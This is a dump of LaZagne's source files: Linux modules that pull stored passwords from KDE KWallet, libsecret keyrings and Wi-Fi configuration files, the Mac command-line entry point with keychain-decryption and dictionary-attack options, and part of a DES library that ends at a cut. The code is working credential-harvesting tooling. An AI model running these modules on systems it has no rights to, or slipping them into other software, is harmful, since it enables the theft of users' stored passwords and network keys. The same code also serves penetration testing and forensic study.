    "path": "Linux/lazagne/softwares/wallet/__init__.py",
    "content": "# -*- coding: utf-8 -*-\n"
  },
  {
    "path": "Linux/lazagne/softwares/wallet/kde.py",
    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*- \n\n#######################\n#\n# By Quentin HARDY\n#\n#######################\n\nfrom lazagne.config.module_info import ModuleInfo\nfrom lazagne.config import homes\n\n\nclass Kde(ModuleInfo):\n    def __init__(self):\n        self.appid = 'Get KDE keyring'\n        self.bus_info = [\n            ('org.kde.kwalletd', '/modules/kwalletd'),\n            ('org.kde.kwalletd5', '/modules/kwalletd5')\n        ]\n        ModuleInfo.__init__(self, 'kwallet', 'wallet')\n\n    def run(self):\n\n        try:\n            import dbus\n        except Exception as e:\n            self.error('kwallet: {error}'.format(error=e))\n            return []\n\n        pwd_found = []\n        for _, session in homes.sessions():\n            try:\n                bus = dbus.bus.BusConnection(session)\n\n                if 'org.kde.kwalletd' not in [str(x) for x in bus.list_names()]:\n                    continue\n\n                for info in self.bus_info:\n                    kwallet_object = bus.get_object(info[0], info[1])\n\n                    wallet = dbus.Interface(kwallet_object, 'org.kde.KWallet')\n                    handle = wallet.open(wallet.networkWallet(), 0, self.appid)\n\n                    if handle:\n                        for folder in wallet.folderList(handle, self.appid):\n                            for entry in wallet.entryList(handle, folder, self.appid):\n                                password_list = wallet.readPasswordList(handle, folder, entry, self.appid)\n                                for plist in password_list.items():\n                                    pwd_found.append({\n                                        'Folder': str(folder),\n                                        'Login': str(plist[0]),\n                                        'Password': str(plist[1]),\n                                    })\n\n            except Exception as e:\n                self.error(e)\n                continue\n\n            bus.flush()\n            bus.close()\n\n        return pwd_found\n"
  },
  {
    "path": "Linux/lazagne/softwares/wallet/libsecret.py",
    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nfrom lazagne.config.constant import constant\nfrom lazagne.config.module_info import ModuleInfo\nfrom lazagne.config import homes\nfrom binascii import hexlify\nimport pwd\nimport traceback\n\ntry:\n    import jeepney.auth\n# except ImportError:\nexcept Exception:\n    pass\nelse:\n    # Thanks to @mitya57 for its Work around \n    def make_auth_external():\n        hex_uid = hexlify(str(make_auth_external.uid).encode('ascii'))\n        return b'AUTH EXTERNAL %b\\r\\n' % hex_uid\n    jeepney.auth.make_auth_external = make_auth_external\n\n\nclass Libsecret(ModuleInfo):\n    def __init__(self):\n        ModuleInfo.__init__(self, 'libsecret', 'wallet')\n\n    def run(self):\n        items = []\n        visited = set()\n        try:\n            import dbus\n            import secretstorage\n            import datetime\n        except ImportError as e:\n            self.error('libsecret: {0}'.format(e))\n            return []\n\n        for uid, session in homes.sessions():\n            try:\n                # List bus connection names\n                bus = dbus.bus.BusConnection(session)\n                if 'org.freedesktop.secrets' not in [str(x) for x in bus.list_names()]:\n                    continue\n            except Exception:\n                self.error(traceback.format_exc())\n                continue\n\n            collections = None\n            try:\n                # Python 2.7\n                collections = list(secretstorage.collection.get_all_collections(bus))\n            except Exception:\n                pass\n\n            if not collections:\n                try:\n                    # Python 3\n                    from jeepney.io.blocking import open_dbus_connection\n                    make_auth_external.uid = uid\n                    bus = open_dbus_connection(session)\n                    collections = secretstorage.get_all_collections(bus)\n                except Exception:\n                    self.error(traceback.format_exc())\n                    continue\n\n            for collection in collections:\n                if collection.is_locked():\n                    continue\n\n                label = collection.get_label()\n                if label in visited:\n                    continue\n\n                visited.add(label)\n\n                try:\n                    storage = collection.get_all_items()\n                except Exception:\n                    self.error(traceback.format_exc())\n                    continue\n\n                for item in storage:\n                    values = {\n                        'Owner': pwd.getpwuid(uid).pw_name,\n                        'Collection': label,\n                        'Label': item.get_label(),\n                        'Content-Type': item.get_secret_content_type(),\n                        'Password': item.get_secret().decode('utf8'),\n                        'Created': str(datetime.datetime.fromtimestamp(item.get_created())),\n                        'Modified': str(datetime.datetime.fromtimestamp(item.get_modified())),\n                    }\n\n                    # for k, v in item.get_attributes().iteritems():\n                    #   values[unicode(k)] = unicode(v)\n                    items.append(values)\n                    if item.get_label().endswith('Safe Storage'):\n                        constant.chrome_storage.append(item.get_secret())\n\n            try:\n                bus.flush()\n                bus.close()\n            except Exception:\n                pass\n\n        return items\n"
  },
  {
    "path": "Linux/lazagne/softwares/wifi/__init__.py",
    "content": "# -*- coding: utf-8 -*-\n"
  },
  {
    "path": "Linux/lazagne/softwares/wifi/wifi.py",
    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*- \n\nimport os\n\nfrom lazagne.config.module_info import ModuleInfo\n\n\ntry:\n    from ConfigParser import RawConfigParser  # Python 2.7\nexcept ImportError:\n    from configparser import RawConfigParser  # Python 3\n\nfrom collections import OrderedDict\n\n\nclass Wifi(ModuleInfo):\n    def __init__(self):\n        ModuleInfo.__init__(self, 'wifi', 'wifi')\n\n    def run(self):\n        pwd_found = []\n        directory = u'/etc/NetworkManager/system-connections'\n\n        if os.path.exists(directory):\n            if os.getuid() == 0:\n                wireless_ssid = [f for f in os.listdir(directory) if os.path.isfile(os.path.join(directory, f))]\n\n                for w in wireless_ssid:\n                    cp = RawConfigParser()\n                    cp.read(os.path.join(directory, w))\n                    values = OrderedDict()\n                    try:\n                        values['SSID'] = cp.get('wifi', 'ssid')\n                        values['Password'] = cp.get('wifi-security', 'psk')\n                        pwd_found.append(values)\n                    except Exception:\n                        pass\n\n            else:\n                self.info('You need sudo privileges')\n\n            return pwd_found\n"
  },
  {
    "path": "Linux/lazagne/softwares/wifi/wpa_supplicant.py",
    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*- \n\n#######################\n#\n# By rpesche\n#\n#######################\n\nimport re\nimport os\n\nfrom lazagne.config.module_info import ModuleInfo\n\n\nclass Wpa_supplicant(ModuleInfo):\n    def __init__(self):\n        ModuleInfo.__init__(self, 'wpa_supplicant', 'wifi')\n\n    def parse_file_network(self, fd):\n        password = None\n        ssid = None\n\n        for line in fd:\n            if re.match('^[ \\t]*ssid=', line):\n                ssid = (line.split(\"\\\"\")[1])\n            if re.match('^[ \\t]*psk=', line):\n                password = line.split(\"\\\"\")[1]\n            if re.match('^[ \\t]*password=', line):\n                password = line.split(\"\\\"\")[1]\n            if re.match('^[ \\t]*}', line):\n                return (ssid, password)\n\n    def run(self):\n        pwd_found = []\n        wifi_path = u'/etc/wpa_supplicant/wpa_supplicant.conf'\n\n        if os.path.exists(wifi_path):\n            # Check root access\n            if os.getuid() == 0:\n                with open(wifi_path) as fd:\n                    for line in fd:\n                        if 'network=' in line:\n                            (ssid, password) = self.parse_file_network(fd)\n                            if ssid and password:\n                                pwd_found.append({\n                                    'SSID': ssid,\n                                    'Password': password,\n                                })\n            else:\n                self.info('You need sudo privileges')\n\n\n        return pwd_found\n"
  },
  {
    "path": "Linux/lazagne.spec",
    "content": "# -*- mode: python ; coding: utf-8 -*-\n\n\na = Analysis(\n    ['laZagne.py'],\n    pathex=[],\n    binaries=[],\n    datas=[],\n    hiddenimports=[],\n    hookspath=['.'],\n    hooksconfig={},\n    runtime_hooks=[],\n    excludes=[],\n    noarchive=False,\n    optimize=0,\n)\npyz = PYZ(a.pure)\n\nexe = EXE(\n    pyz,\n    a.scripts,\n    a.binaries,\n    a.datas,\n    [],\n    name='laZagne',\n    debug=False,\n    bootloader_ignore_signals=False,\n    strip=False,\n    upx=True,\n    upx_exclude=[],\n    runtime_tmpdir=None,\n    console=True,\n    disable_windowed_traceback=False,\n    argv_emulation=False,\n    target_arch=None,\n    codesign_identity=None,\n    entitlements_file=None,\n)\n"
  },
  {
    "path": "Mac/hook-sys.py",
    "content": "from lazagne.config.manage_modules import get_modules_names\nfrom lazagne.softwares.browsers.chromium_browsers import chromium_based_module_location\nfrom lazagne.softwares.browsers.firefox_browsers import mozilla_module_location\n\nall_hidden_imports_module_names = get_modules_names() + [mozilla_module_location, chromium_based_module_location]\nhiddenimports = [package_name for package_name, module_name in all_hidden_imports_module_names]\n\nif __name__ == \"__main__\":\n    print(\"\\r\\n\".join(hiddenimports))"
  },
  {
    "path": "Mac/laZagne.py",
    "content": "# -*- coding: utf-8 -*- \n# !/usr/bin/python\n\n##############################################################################\n#                                                                            #\n#                           By Alessandro ZANNI                              #\n#                                                                            #\n##############################################################################\n\n# Disclaimer: Do Not Use this program for illegal purposes ;)\n\nimport argparse\nimport logging\nimport sys\nimport os\nimport time\n\n# Configuration\nfrom lazagne.config.write_output import write_in_file, StandardOutput\nfrom lazagne.config.manage_modules import get_categories\nfrom lazagne.config.constant import constant\nfrom lazagne.config.run import run_lazagne, create_module_dic\n\n\n# Object used to manage the output / write functions (cf write_output file)\nconstant.st = StandardOutput()\nmodules = create_module_dic()\n\n\ndef output(output_dir=None, txt_format=False, json_format=False, all_format=False):\n    if output_dir:\n        if os.path.isdir(output_dir):\n            constant.folder_name = output_dir\n        else:\n            print('[!] Specify a directory, not a file !')\n\n    if txt_format:\n        constant.output = 'txt'\n\n    if json_format:\n        constant.output = 'json'\n\n    if all_format:\n        constant.output = 'all'\n\n    if constant.output:\n        if not os.path.exists(constant.folder_name):\n            os.makedirs(constant.folder_name)\n            # constant.file_name_results = 'credentials' # let the choice of the name to the user\n\n        if constant.output != 'json':\n            constant.st.write_header()\n\n\ndef quiet_mode(is_quiet_mode=False):\n    if is_quiet_mode:\n        constant.quiet_mode = True\n\n\ndef verbosity(verbose=0):\n    # Write on the console + debug file\n    if verbose == 0:\n        level = logging.CRITICAL\n    elif verbose == 1:\n        level = logging.INFO\n    elif verbose >= 2:\n        level = logging.DEBUG\n\n    formatter = logging.Formatter(fmt='%(message)s')\n    stream = logging.StreamHandler(sys.stdout)\n    stream.setFormatter(formatter)\n    root = logging.getLogger()\n    root.setLevel(level)\n    # If other logging are set\n    for r in root.handlers:\n        r.setLevel(logging.CRITICAL)\n    root.addHandler(stream)\n\n\ndef manage_advanced_options(user_password=None, dictionary_attack=None):\n    if user_password:\n        constant.user_password = user_password\n\n    if dictionary_attack:\n        constant.dictionary_attack = dictionary_attack\n\n\ndef clean_args(arg):\n    \"\"\"\n    Remove not necessary values to get only subcategories\n    \"\"\"\n    for i in ['output', 'write_normal', 'write_json', 'write_all', 'verbose', 'auditType', 'quiet']:\n        try:\n            del arg[i]\n        except Exception:\n            pass\n    return arg\n\n\ndef runLaZagne(category_selected='all', subcategories={}, password=None, interactive=False):\n    \"\"\"\n    This function will be removed, still there for compatibility with other tools\n    Everything is on the config/run.py file\n    \"\"\"\n    for pwd_dic in run_lazagne(\n            category_selected=category_selected,\n            subcategories=subcategories,\n            password=password,\n            interactive=interactive\n    ):\n        yield pwd_dic\n\n\nif __name__ == '__main__':\n\n    parser = argparse.ArgumentParser(description=constant.st.banner, formatter_class=argparse.RawTextHelpFormatter)\n    parser.add_argument('--version', action='version', version='Version ' + str(constant.CURRENT_VERSION),\n                        help='laZagne version')\n\n    # ------------------------------------------- Permanent options ------------------------------------------\n    # Version and verbosity\n    PPoptional = argparse.ArgumentParser(\n        add_help=False,\n        formatter_class=lambda prog: argparse.HelpFormatter(prog, max_help_position=constant.MAX_HELP_POSITION)\n    )\n    PPoptional._optionals.title = 'optional arguments'\n    PPoptional.add_argument('-i', '--interactive', default=False, action='store_true',\n                            help='will prompt a window to the user')\n    PPoptional.add_argument('-password', dest='password', action='store',\n                            help='user password used to decrypt the keychain')\n    PPoptional.add_argument('-attack', dest='attack', action='store_true',\n                            help='500 well known passwords used to check the user hash (could take a while)')\n    PPoptional.add_argument('-v', dest='verbose', action='count', help='increase verbosity level', default=0)\n    PPoptional.add_argument('-quiet', dest='quiet', action='store_true',\n                            help='quiet mode: nothing is printed to the output', default=False, )\n\n    # Output\n    PWrite = argparse.ArgumentParser(\n        add_help=False,\n        formatter_class=lambda prog: argparse.HelpFormatter(prog, max_help_position=constant.MAX_HELP_POSITION)\n    )\n    PWrite._optionals.title = 'Output'\n    PWrite.add_argument('-oN', dest='write_normal', action='store_true', help='output file in a readable format')\n    PWrite.add_argument('-oJ', dest='write_json', action='store_true', help='output file in a json format')\n    PWrite.add_argument('-oA', dest='write_all', action='store_true', help='output file in all format')\n    PWrite.add_argument('-output', dest='output', action='store', help='destination path to store results (default:.)',\n                        default='.')\n\n    # -------------------------------- Add options and suboptions to all modules ------------------------------\n    all_subparser = []\n    categories = get_categories()\n    for c in categories:\n        categories[c]['parser'] = argparse.ArgumentParser(\n            add_help=False,\n            formatter_class=lambda prog: argparse.HelpFormatter(prog, max_help_position=constant.MAX_HELP_POSITION)\n        )\n        categories[c]['parser']._optionals.title = categories[c]['help']\n\n        # Manage options\n        categories[c]['subparser'] = []\n        for module in modules[c]:\n            m = modules[c][module]\n            categories[c]['parser'].add_argument(m.options['command'], action=m.options['action'], dest=m.options['dest'],\n                                               help=m.options['help'])\n\n            # Manage all sub options by modules\n            if m.suboptions:\n                tmp = []\n                for sub in m.suboptions:\n                    tmp_subparser = argparse.ArgumentParser(\n                        add_help=False,\n                        formatter_class=lambda prog: argparse.HelpFormatter(prog, max_help_position=constant.MAX_HELP_POSITION)\n                    )\n                    tmp_subparser._optionals.title = sub['title']\n                    if 'type' in sub:\n                        tmp_subparser.add_argument(sub['command'], type=sub['type'], action=sub['action'],\n                                                   dest=sub['dest'], help=sub['help'])\n                    else:\n                        tmp_subparser.add_argument(sub['command'], action=sub['action'], dest=sub['dest'],\n                                                   help=sub['help'])\n                    tmp.append(tmp_subparser)\n                    all_subparser.append(tmp_subparser)\n                categories[c]['subparser'] += tmp\n\n    # ------------------------------------------- Print all -------------------------------------------\n    parents = [PPoptional] + all_subparser + [PWrite]\n    dic = {'all': {'parents': parents, 'help': 'Run all modules'}}\n    for c in categories:\n        parser_tab = [PPoptional, categories[c]['parser']]\n        if 'subparser' in categories[c]:\n            if categories[c]['subparser']:\n                parser_tab += categories[c]['subparser']\n        parser_tab += [PWrite]\n        dic_tmp = {c: {'parents': parser_tab, 'help': 'Run %s module' % c}}\n        dic = dict(list(dic.items()) + list(dic_tmp.items()))\n\n    subparsers = parser.add_subparsers(help='Choose a main command')\n    for d in dic:\n        subparsers.add_parser(d, parents=dic[d]['parents'], help=dic[d]['help']).set_defaults(auditType=d)\n\n    # ------------------------------------------- Parse arguments -------------------------------------------\n\n    # # By default, launch all modules\n    # if len(sys.argv) == 1:\n    #     args = {\n    #         'verbose': 0, \n    #         'quiet': False, \n    #         'password': None, \n    #         'write_normal': None, \n    #         'write_json': None, \n    #         'write_all': None, \n    #         'output': '.', \n    #         'auditType': 'all'\n    #     }\n    # else:\n    #     args = dict(parser.parse_args()._get_kwargs())\n    #     # arguments = parser.parse_args()\n\n    args = dict(parser.parse_args()._get_kwargs())\n    arguments = parser.parse_args()\n\n    # Define constant variables\n    output(\n        output_dir=args['output'],\n        txt_format=args['write_normal'],\n        json_format=args['write_json'],\n        all_format=args['write_all']\n    )\n    verbosity(verbose=args['verbose'])\n    manage_advanced_options(user_password=args.get('password', None), dictionary_attack=args.get('attack', None))\n    quiet_mode(is_quiet_mode=args['quiet'])\n\n    # Print the title\n    constant.st.first_title()\n\n    start_time = time.time()\n\n    category_selected = args['auditType']\n    subcategories = clean_args(args)\n\n    for r in runLaZagne(\n            category_selected=category_selected,\n            subcategories=subcategories,\n            password=args.get('password', None),\n            interactive=arguments.interactive\n    ):\n        pass\n\n    write_in_file(constant.stdout_result)\n    constant.st.print_footer(elapsed_time=str(time.time() - start_time))\n"
  },
  {
    "path": "Mac/lazagne/__init__.py",
    "content": ""
  },
  {
    "path": "Mac/lazagne/config/__init__.py",
    "content": ""
  },
  {
    "path": "Mac/lazagne/config/constant.py",
    "content": "# -*- coding: utf-8 -*- \n# !/usr/bin/python\n\nimport time\n\ndate = time.strftime(\"%d%m%Y_%H%M%S\")\n\n\nclass constant():\n    folder_name         = '.'\n    file_name_results   = 'credentials_{current_time}'.format(current_time=date)  # extension added (txt, json)\n    MAX_HELP_POSITION   = 27\n    CURRENT_VERSION     = '2.4.3'\n    output              = None\n    file_logger         = None\n    verbose             = False\n    nbPasswordFound     = 0         # total password found\n    passwordFound       = []\n    keychains_pwd       = []        # password of the keychain\n    keychains_pwds      = []        # passwords contained in the keychain\n    system_pwd          = []\n    finalResults        = {}\n    quiet_mode          = False\n    st                  = None      # standard output\n    dictionary_attack   = False\n    user_password       = None\n    user_keychain_find \t= False\n    stdout_result       = []        # Tab containing all results by user\n    modules_dic         = {}\n"
  },
  {
    "path": "Mac/lazagne/config/crypto/__init__.py",
    "content": ""
  },
  {
    "path": "Mac/lazagne/config/crypto/pyDes.py",
    "content": "#############################################################################\n#               Documentation                   #\n#############################################################################\n\n# Author:   Todd Whiteman\n# Date:     28th April, 2010\n# Version:  2.0.1\n# License:  MIT\n# Homepage: http://twhiteman.netfirms.com/des.html\n#\n# This is a pure python implementation of the DES encryption algorithm.\n# It's pure python to avoid portability issues, since most DES \n# implementations are programmed in C (for performance reasons).\n#\n# Triple DES class is also implemented, utilizing the DES base. Triple DES\n# is either DES-EDE3 with a 24 byte key, or DES-EDE2 with a 16 byte key.\n#\n# See the README.txt that should come with this python module for the\n# implementation methods used.\n#\n# Thanks to:\n#  * David Broadwell for ideas, comments and suggestions.\n#  * Mario Wolff for pointing out and debugging some triple des CBC errors.\n#  * Santiago Palladino for providing the PKCS5 padding technique.\n#  * Shaya for correcting the PAD_PKCS5 triple des CBC errors.\n#\n\"\"\"A pure python implementation of the DES and TRIPLE DES encryption algorithms.\n\nClass initialization\n--------------------\npyDes.des(key, [mode], [IV], [pad], [padmode])\npyDes.triple_des(key, [mode], [IV], [pad], [padmode])\n\nkey     -> Bytes containing the encryption key. 8 bytes for DES, 16 or 24 bytes\n       for Triple DES\nmode    -> Optional argument for encryption type, can be either\n       pyDes.ECB (Electronic Code Book) or pyDes.CBC (Cypher Block Chaining)\nIV      -> Optional Initial Value bytes, must be supplied if using CBC mode.\n       Length must be 8 bytes.\npad     -> Optional argument, set the pad character (PAD_NORMAL) to use during\n       all encrypt/decrypt operations done with this instance.\npadmode -> Optional argument, set the padding mode (PAD_NORMAL or PAD_PKCS5)\n       to use during all encrypt/decrypt operations done with this instance.\n\nI recommend to use PAD_PKCS5 padding, as then you never need to worry about any\npadding issues, as the padding can be removed unambiguously upon decrypting\ndata that was encrypted using PAD_PKCS5 padmode.\n\nCommon methods\n--------------\nencrypt(data, [pad], [padmode])\ndecrypt(data, [pad], [padmode])\n\ndata    -> Bytes to be encrypted/decrypted\npad     -> Optional argument. Only when using padmode of PAD_NORMAL. For\n       encryption, adds this characters to the end of the data block when\n       data is not a multiple of 8 bytes. For decryption, will remove the\n       trailing characters that match this pad character from the last 8\n       bytes of the unencrypted data block.\npadmode -> Optional argument, set the padding mode, must be one of PAD_NORMAL\n       or PAD_PKCS5). Defaults to PAD_NORMAL.\n      \n\nExample\n-------\nfrom pyDes import *\n\ndata = \"Please encrypt my data\"\nk = des(\"DESCRYPT\", CBC, \"\\0\\0\\0\\0\\0\\0\\0\\0\", pad=None, padmode=PAD_PKCS5)\n# For Python3, you'll need to use bytes, i.e.:\n#   data = b\"Please encrypt my data\"\n#   k = des(b\"DESCRYPT\", CBC, b\"\\0\\0\\0\\0\\0\\0\\0\\0\", pad=None, padmode=PAD_PKCS5)\nd = k.encrypt(data)\nprint \"Encrypted: %r\" % d\nprint \"Decrypted: %r\" % k.decrypt(d)\nassert k.decrypt(d, padmode=PAD_PKCS5) == data\n\n\nSee the module source (pyDes.py) for more examples of use.\nYou can also run the pyDes.py file without and arguments to see a simple test.\n\nNote: This code was not written for high-end systems needing a fast\n      implementation, but rather a handy portable solution with small usage.\n\n\"\"\"\n\nimport sys\n\n# _pythonMajorVersion is used to handle Python2 and Python3 differences.\n_pythonMajorVersion = sys.version_info[0]\n\n# Modes of crypting / cyphering\nECB = 0\nCBC = 1\n\n# Modes of padding\nPAD_NORMAL = 1\nPAD_PKCS5 = 2\n\n\n# PAD_PKCS5: is a method that will unambiguously remove all padding\n#            characters after decryption, when originally encrypted with\n#            this padding mode.\n# For a good description of the PKCS5 padding technique, see:\n# http://www.faqs.org/rfcs/rfc1423.html\n\n# The base class shared by des and triple des.\nclass _baseDes(object):\n    def __init__(self, mode=ECB, IV=None, pad=None, padmode=PAD_NORMAL):\n        if IV:\n            IV = self._guardAgainstUnicode(IV)\n        if pad:\n            pad = self._guardAgainstUnicode(pad)\n        self.block_size = 8\n        # Sanity checking of arguments.\n        if pad and padmode == PAD_PKCS5:\n            raise ValueError(\"Cannot use a pad character with PAD_PKCS5\")\n        if IV and len(IV) != self.block_size:\n            raise ValueError(\"Invalid Initial Value (IV), must be a multiple of \" + str(self.block_size) + \" bytes\")\n\n        # Set the passed in variables\n        self._mode = mode\n        self._iv = IV\n        self._padding = pad\n        self._padmode = padmode\n\n    def getKey(self):\n        \"\"\"getKey() -> bytes\"\"\"\n        return self.__key\n\n    def setKey(self, key):\n        \"\"\"Will set the crypting key for this object.\"\"\"\n        key = self._guardAgainstUnicode(key)\n        self.__key = key\n\n    def getMode(self):\n        \"\"\"getMode() -> pyDes.ECB or pyDes.CBC\"\"\"\n        return self._mode\n\n    def setMode(self, mode):\n        \"\"\"Sets the type of crypting mode, pyDes.ECB or pyDes.CBC\"\"\"\n        self._mode = mode\n\n    def getPadding(self):\n        \"\"\"getPadding() -> bytes of length 1. Padding character.\"\"\"\n        return self._padding\n\n    def setPadding(self, pad):\n        \"\"\"setPadding() -> bytes of length 1. Padding character.\"\"\"\n        if pad is not None:\n            pad = self._guardAgainstUnicode(pad)\n        self._padding = pad\n\n    def getPadMode(self):\n        \"\"\"getPadMode() -> pyDes.PAD_NORMAL or pyDes.PAD_PKCS5\"\"\"\n        return self._padmode\n\n    def setPadMode(self, mode):\n        \"\"\"Sets the type of padding mode, pyDes.PAD_NORMAL or pyDes.PAD_PKCS5\"\"\"\n        self._padmode = mode\n\n    def getIV(self):\n        \"\"\"getIV() -> bytes\"\"\"\n        return self._iv\n\n    def setIV(self, IV):\n        \"\"\"Will set the Initial Value, used in conjunction with CBC mode\"\"\"\n        if not IV or len(IV) != self.block_size:\n            raise ValueError(\"Invalid Initial Value (IV), must be a multiple of \" + str(self.block_size) + \" bytes\")\n        IV = self._guardAgainstUnicode(IV)\n        self._iv = IV\n\n    def _padData(self, data, pad, padmode):\n        # Pad data depending on the mode\n        if padmode is None:\n            # Get the default padding mode.\n            padmode = self.getPadMode()\n        if pad and padmode == PAD_PKCS5:\n            raise ValueError(\"Cannot use a pad character with PAD_PKCS5\")\n\n        if padmode == PAD_NORMAL:\n            if len(data) % self.block_size == 0:\n                # No padding required.\n                return data\n\n            if not pad:\n                # Get the default padding.\n                pad = self.getPadding()\n            if not pad:\n                raise ValueError(\"Data must be a multiple of \" + str(\n                    self.block_size) + \" bytes in length. Use padmode=PAD_PKCS5 or set the pad character.\")\n            data += (self.block_size - (len(data) % self.block_size)) * pad\n\n        elif padmode == PAD_PKCS5:\n            pad_len = 8 - (len(data) % self.block_size)\n            if _pythonMajorVersion < 3:\n                data += pad_len * chr(pad_len)\n            else:\n                data += bytes([pad_len] * pad_len)\n\n        return data\n\n    def _unpadData(self, data, pad, padmode):\n        # Unpad data depending on the mode.\n        if not data:\n            return data\n        if pad and padmode == PAD_PKCS5:\n            raise ValueError(\"Cannot use a pad character with PAD_PKCS5\")\n        if padmode is None:\n            # Get the default padding mode.\n            padmode = self.getPadMode()\n\n        if padmode == PAD_NORMAL:\n            if not pad:\n                # Get the default padding.\n                pad = self.getPadding()\n            if pad:\n                data = data[:-self.block_size] + \\\n                       data[-self.block_size:].rstrip(pad)\n\n        elif padmode == PAD_PKCS5:\n            if _pythonMajorVersion < 3:\n                pad_len = ord(data[-1])\n            else:\n                pad_len = data[-1]\n            data = data[:-pad_len]\n\n        return data\n\n    def _guardAgainstUnicode(self, data):\n        # Only accept byte strings or ascii unicode values, otherwise\n        # there is no way to correctly decode the data into bytes.\n        if _pythonMajorVersion < 3:\n            if isinstance(data, unicode):  # noqa\n                raise ValueError(\"pyDes can only work with bytes, not Unicode strings.\")\n        else:\n            if isinstance(data, str):\n                # Only accept ascii unicode values.\n                try:\n                    return data.encode('ascii')\n                except UnicodeEncodeError:\n                    pass\n                raise ValueError(\"pyDes can only work with encoded strings, not Unicode.\")\n        return data\n\n\n#############################################################################\n#                   DES                     #\n#############################################################################\nclass des(_baseDes):\n    \"\"\"DES encryption/decrytpion class\n\n    Supports ECB (Electronic Code Book) and CBC (Cypher Block Chaining) modes.\n\n    pyDes.des(key,[mode], [IV])\n\n    key  -> Bytes containing the encryption key, must be exactly 8 bytes\n    mode -> Optional argument for encryption type, can be either pyDes.ECB\n        (Electronic Code Book), pyDes.CBC (Cypher Block Chaining)\n    IV   -> Optional Initial Value bytes, must be supplied if using CBC mode.\n        Must be 8 bytes in length.\n    pad  -> Optional argument, set the pad character (PAD_NORMAL) to use\n        during all encrypt/decrypt operations done with this instance.\n    padmode -> Optional argument, set the padding mode (PAD_NORMAL or\n        PAD_PKCS5) to use during all encrypt/decrypt operations done\n        with this instance.\n    \"\"\"\n\n    # Permutation and translation tables for DES\n    __pc1 = [56, 48, 40, 32, 24, 16, 8,\n             0, 57, 49, 41, 33, 25, 17,\n             9, 1, 58, 50, 42, 34, 26,\n             18, 10, 2, 59, 51, 43, 35,\n             62, 54, 46, 38, 30, 22, 14,\n             6, 61, 53, 45, 37, 29, 21,\n             13, 5, 60, 52, 44, 36, 28,\n             20, 12, 4, 27, 19, 11, 3\n             ]\n\n    # number left rotations of pc1\n    __left_rotations = [\n        1, 1, 2, 2, 2, 2, 2, 2, 1, 2, 2, 2, 2, 2, 2, 1\n    ]\n\n    # permuted choice key (table 2)\n    __pc2 = [\n        13, 16, 10, 23, 0, 4,\n        2, 27, 14, 5, 20, 9,\n        22, 18, 11, 3, 25, 7,\n        15, 6, 26, 19, 12, 1,\n        40, 51, 30, 36, 46, 54,\n        29, 39, 50, 44, 32, 47,\n        43, 48, 38, 55, 33, 52,\n        45, 41, 49, 35, 28, 31\n    ]\n\n    # initial permutation IP\n    __ip = [57, 49, 41, 33, 25, 17, 9, 1,\n            59, 51, 43, 35, 27, 19, 11, 3,\n            61, 53, 45, 37, 29, 21, 13, 5,\n            63, 55, 47, 39, 31, 23, 15, 7,\n            56, 48, 40, 32, 24, 16, 8, 0,\n            58, 50, 42, 34, 26, 18, 10, 2,\n            60, 52, 44, 36, 28, 20, 12, 4,\n            62, 54, 46, 38, 30, 22, 14, 6\n            ]\n\n    # Expansion table for turning 32 bit blocks into 48 bits\n    __expansion_table = [\n        31, 0, 1, 2, 3, 4,\n        3, 4, 5, 6, 7, 8,\n        7, 8, 9, 10, 11, 12,\n        11, 12, 13, 14, 15, 16,\n        15, 16, 17, 18, 19, 20,\n        19, 20, 21, 22, 23, 24,\n        23, 24, 25, 26, 27, 28,\n        27, 28, 29, 30, 31, 0\n    ]\n\n    # The (in)famous S-boxes\n    __sbox = [\n        # S1\n        [14, 4, 13, 1, 2, 15, 11, 8, 3, 10, 6, 12, 5, 9, 0, 7,\n         0, 15, 7, 4, 14, 2, 13, 1, 10, 6, 12, 11, 9, 5, 3, 8,\n         4, 1, 14, 8, 13, 6, 2, 11, 15, 12, 9, 7, 3, 10, 5, 0,\n         15, 12, 8, 2, 4, 9, 1, 7, 5, 11, 3, 14, 10, 0, 6, 13],\n\n        # S2\n        [15, 1, 8, 14, 6, 11, 3, 4, 9, 7, 2, 13, 12, 0, 5, 10,\n         3, 13, 4, 7, 15, 2, 8, 14, 12, 0, 1, 10, 6, 9, 11, 5,\n         0, 14, 7, 11, 10, 4, 13, 1, 5, 8, 12, 6, 9, 3, 2, 15,\n         13, 8, 10, 1, 3, 15, 4, 2, 11, 6, 7, 12, 0, 5, 14, 9],\n\n        # S3\n        [10, 0, 9, 14, 6, 3, 15, 5, 1, 13, 12, 7, 11, 4, 2, 8,\n         13, 7, 0, 9, 3, 4, 6, 10, 2, 8, 5, 14, 12, 11, 15, 1,\n         13, 6, 4, 9, 8, 15, 3, 0, 11, 1, 2, 12, 5, 10, 14, 7,\n         1, 10, 13, 0, 6, 9, 8, 7, 4, 15, 14, 3, 11, 5, 2, 12],\n\n        # S4\n        [7, 13, 14, 3, 0, 6, 9, 10, 1, 2, 8, 5, 11, 12, 4, 15,\n         13, 8, 11, 5, 6, 15, 0, 3, 4, 7, 2, 12, 1, 10, 14, 9,\n         10, 6, 9, 0, 12, 11, 7, 13, 15, 1, 3, 14, 5, 2, 8, 4,\n         3, 15, 0, 6, 10, 1, 13, 8, 9, 4, 5, 11, 12, 7, 2, 14],\n\n        # S5\n        [2, 12, 4, 1, 7, 10, 11, 6, 8, 5, 3, 15, 13, 0, 14, 9,\n         14, 11, 2, 12, 4, 7, 13, 1, 5, 0, 15, 10, 3, 9, 8, 6,\n         4, 2, 1, 11, 10, 13, 7, 8, 15, 9, 12, 5, 6, 3, 0, 14,\n         11, 8, 12, 7, 1, 14, 2, 13, 6, 15, 0, 9, 10, 4, 5, 3],\n\n        # S6\n        [12, 1, 10, 15, 9, 2, 6, 8, 0, 13, 3, 4, 14, 7, 5, 11,\n         10, 15, 4, 2, 7, 12, 9, 5, 6, 1, 13, 14, 0, 11, 3, 8,\n         9, 14, 15, 5, 2, 8, 12, 3, 7, 0, 4, 10, 1, 13, 11, 6,\n         4, 3, 2, 12, 9, 5, 15, 10, 11, 14, 1, 7, 6, 0, 8, 13],\n\n        # S7\n        [4, 11, 2, 14, 15, 0, 8, 13, 3, 12, 9, 7, 5, 10, 6, 1,\n         13, 0, 11, 7, 4, 9, 1, 10, 14, 3, 5, 12, 2, 15, 8, 6,\n         1, 4, 11, 13, 12, 3, 7, 14, 10, 15, 6, 8, 0, 5, 9, 2,\n         6, 11, 13, 8, 1, 4, 10, 7, 9, 5, 0, 15, 14, 2, 3, 